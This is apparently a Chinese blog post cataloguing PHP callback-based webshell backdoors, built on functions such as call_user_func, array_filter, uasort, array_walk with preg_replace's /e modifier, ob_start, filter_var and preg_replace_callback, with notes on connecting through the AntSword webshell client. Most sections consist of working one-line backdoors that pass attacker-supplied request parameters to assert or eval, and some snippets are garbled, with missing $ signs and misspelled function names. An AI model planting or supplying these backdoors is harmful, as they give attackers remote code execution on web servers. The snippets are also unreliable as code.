PHP回调后门小总结

目录

1.call_user_func

函数说明

蚁剑连接

2.数组操作造成的单参数回调后门

array_filter

函数说明

蚁剑连接

array_map

函数说明

蚁剑连接

3.二参数回调函数

uasort

函数说明

uksort

array_reduce

array_udiff

蚁剑连接

4.三参数的回调后门

array_walk

函数说明

array_walk_recursive

mb_ereg_replace

preg_filter

蚁剑连接

5.无明显回调后门

ob_start

函数说明

[6. 其他单参数后门](#6. 其他单参数后门)

register_shutdown_function

egister_tick_function

filter_var/filter_var_array

7.其他参数型回调后门

preg_replace_callback

mb_ereg_replace_callback


1.call_user_func

函数说明

php 复制代码
call_user_func(callable $callback, mixed ...$args): mixed

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

php中call_user_func是执行回调函数的标准方法,这是一个比较老的后门。

call_user_func('assert', $_REQUEST['pass']);

assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用

call_user_func_array('assert',array( $_REQUEST['pass']));

assert作为回调函数,把参数数组作$_REQUEST['pass']为回调函数的的参数传入。

实际上这个函数就相当于assert($_REOUEST)

注意assert这个函数在php7.4以后的版本无法使用

蚁剑连接

但是当我们使用GET接参和不加eval函数时,我们为什么连接无法成功?

2.数组操作造成的单参数回调后门

array_filter

函数说明

php 复制代码
array_filter(array $array, ?callable $callback = null, int $mode = 0): array

遍历 array 数组中的每个值,并将每个值传递给 callback 回调函数,用指定函数过滤数组元素。

<?php

e = _REQUEST['e'];

arr = array(_POST['pass'],);

array_filter(arr, base64_decode(e));

base64_decode(e)是回调函数,是assert(YXNzZXJ0)。assert要执行代码,执行的是arr,arr是从_POST提交过来的

蚁剑连接

array_map

函数说明

php 复制代码
array_map(?callable $callback, array $array, array ...$arrays): array

这个函数只是把回调函数放在了第一个参数的位置

<?php

e = _REQUEST['e'];

arr = array(_POST['pass'],);

array_map(base64_decode(e), arr);

蚁剑连接

这个函数的连接跟array_filter没有区别

3.二参数回调函数

php 复制代码
assert(mixed $assertion, Throwable|string|null $description = null): bool

php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。

uasort

函数说明

php 复制代码
uasort(array &$array, callable $callback): true

使用用户定义的比较函数对数组进行排序并保持索引关联

<?php

e = _REQUEST['e'];

arr = array('test', _REQUEST['pass']);

uasort(arr, base64_decode(e));

传入的'test', $_REQUEST['pass']都要交给回调函数去处理。

这个后门在php5.3时会报错,提示assert只能有一个参数。

面向对象的方法:

<?php

arr = new ArrayObject(array('test', _REQUEST['pass']));

$arr->uasort('assert');

<?php

arr = new ArrayObject(array('test' =\> 1, _REQUEST['pass'] => 2));

$arr->uksort('assert');

uksort

<?php

e = _REQUEST['e'];

arr = array('test' =\> 1, _REQUEST['pass'] => 2);

uksort(arr, e);

array_reduce

php 复制代码
array_reduce(array $array, callable $callback, mixed $initial = null): mixed

array_reduce() 将回调函数 callback 迭代地作用到 array 数组中的每一个单元中,从而将数组简化为单一的值。

<?php

e = _REQUEST['e'];

$arr = array(1);

array_reduce(arr, e, $_POST['pass']);

数组,回调函数,参数

array_udiff

php 复制代码
array_udiff(array $array, array ...$arrays, callable $value_compare_func): array

使用内置函数进行数据比较,对比 array 和其他一个或者多个数组,返回在 array 中但是不在其他 array 里的值。

<?php

e = _REQUEST['e'];

arr = array(_POST['pass']);

$arr2 = array(1);

array_udiff(arr, arr2, $e);

蚁剑连接

以上几个函数都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。这里以array_reduce函数示例

4.三参数的回调后门

array_walk

函数说明

php 复制代码
array_walk(array|object &$array, callable $callback, mixed $arg = null): true

将用户自定义函数 callback 应用到 array 数组中的每个单元。将用户自定义函数 callback 应用到 array 数组中的每个单元。

三个参数:preg_replace /e模式,所以我们要构造一个array_walk + preg_replace的回调后门

<?php

e = _REQUEST['e'];

arr = array(_POST['pass'] => '|.*|e',);

array_walk(arr, e, ' ');
preg_replace (

string|array $pattern,

string|array $replacement,

string|array $subject,

int $limit = -1,

int &$count = null

): string|array|null

搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。

当使用被弃用的 e 修饰符时, 这个函数会转义一些字符 (即:'"\ 和 NULL) 然后进行后向引用替换。

preg_replace 使用了 /e 模式,导致了代码可以被执行。php7.3 版本之前 preg_replace使用/E模式,都会导致代码执行

在完成替换后,引擎会将结果字符串作为 PHP 代码使用 eval 方式进行评估并将返回值作为最终参与替换的字符串。

我们使用array_walk写的回调后门,利用/e模式, '|.*|e'匹配$pass,那eval直接执行我们传入pass的值

相当于 e=preg_replace(|.*|e,_POST\['pass'\],' ')--\>eval(_POST['pass'])

array_walk_recursive

这个函数与上面的函数是一样的就不做说明了

<?php

e = _REQUEST['e'];

arr = array(_POST['pass'] => '|.*|e',);

array_walk_recursive(arr, e, '');

mb_ereg_replace

<?php

mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

preg_filter

<?php

preg_filter('|.*|e', $_REQUEST['pass'], '');

蚁剑连接

以array_walk为例

5.无明显回调后门

ob_start

函数说明

php 复制代码
ob_start(?callable $callback = null, int $chunk_size = 0, int $flags = PHP_OUTPUT_HANDLER_STDFLAGS): bool

打开输出控制缓冲

ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了

<?php

ob_start('assert');

echo $_REQUEST['pass'];

ob_end_flush();

即使没输出,无法用蚁剑连接。但是实际代码是执行了的。也算作回调后门的一种。

可以利用file_put_contents把一句话木马写进去

6. 其他单参数后门

register_shutdown_function

<?php

e = _REQUEST['e'];

register_shutdown_function(e, _REQUEST['pass']);

egister_tick_function

<?php

e = _REQUEST['e'];

declare(ticks=1);

register_tick_function (e, _REQUEST['pass']);

filter_var/filter_var_array

<?php

filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));

filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

7.其他参数型回调后门

回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?

所以我们需要去"构造"一个满足条件的回调函数。

这就依赖于creat_function函数,但是这个函数 已自 PHP 7.2.0 起被废弃 ,并自 PHP 8.0.0 起被移除

preg_replace_callback

<?php

preg_replace_callback('/.+/i', create_function('arr', 'return assert(arr[0]);'), $_REQUEST['pass']);

"创造"一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。

mb_ereg_replace_callback

<?php

mb_ereg_replace_callback('.+', create_function('arr', 'return assert(arr[0]);'), $_REQUEST['pass']);

这些回调后门在2025的环境下基本全部失效,仅作参考

相关推荐
雨白14 小时前
Android 快捷方式实战指南:静态、动态与固定快捷方式详解
android
JaguarJack14 小时前
为什么 PHP 闭包要加 static?
后端·php·服务端
hqk14 小时前
鸿蒙项目实战:手把手带你实现 WanAndroid 布局与交互
android·前端·harmonyos
LING14 小时前
RN容器启动优化实践
android·react native
恋猫de小郭17 小时前
Flutter 发布官方 Skills ,Flutter 在 AI 领域再添一助力
android·前端·flutter
Kapaseker1 天前
一杯美式搞懂 Any、Unit、Nothing
android·kotlin
黄林晴1 天前
你的 Android App 还没接 AI?Gemini API 接入全攻略
android
恋猫de小郭1 天前
2026 Flutter VS React Native ,同时在 AI 时代 VS Native 开发,你没见过的版本
android·前端·flutter
冬奇Lab1 天前
PowerManagerService(上):电源状态与WakeLock管理
android·源码阅读
ServBay2 天前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php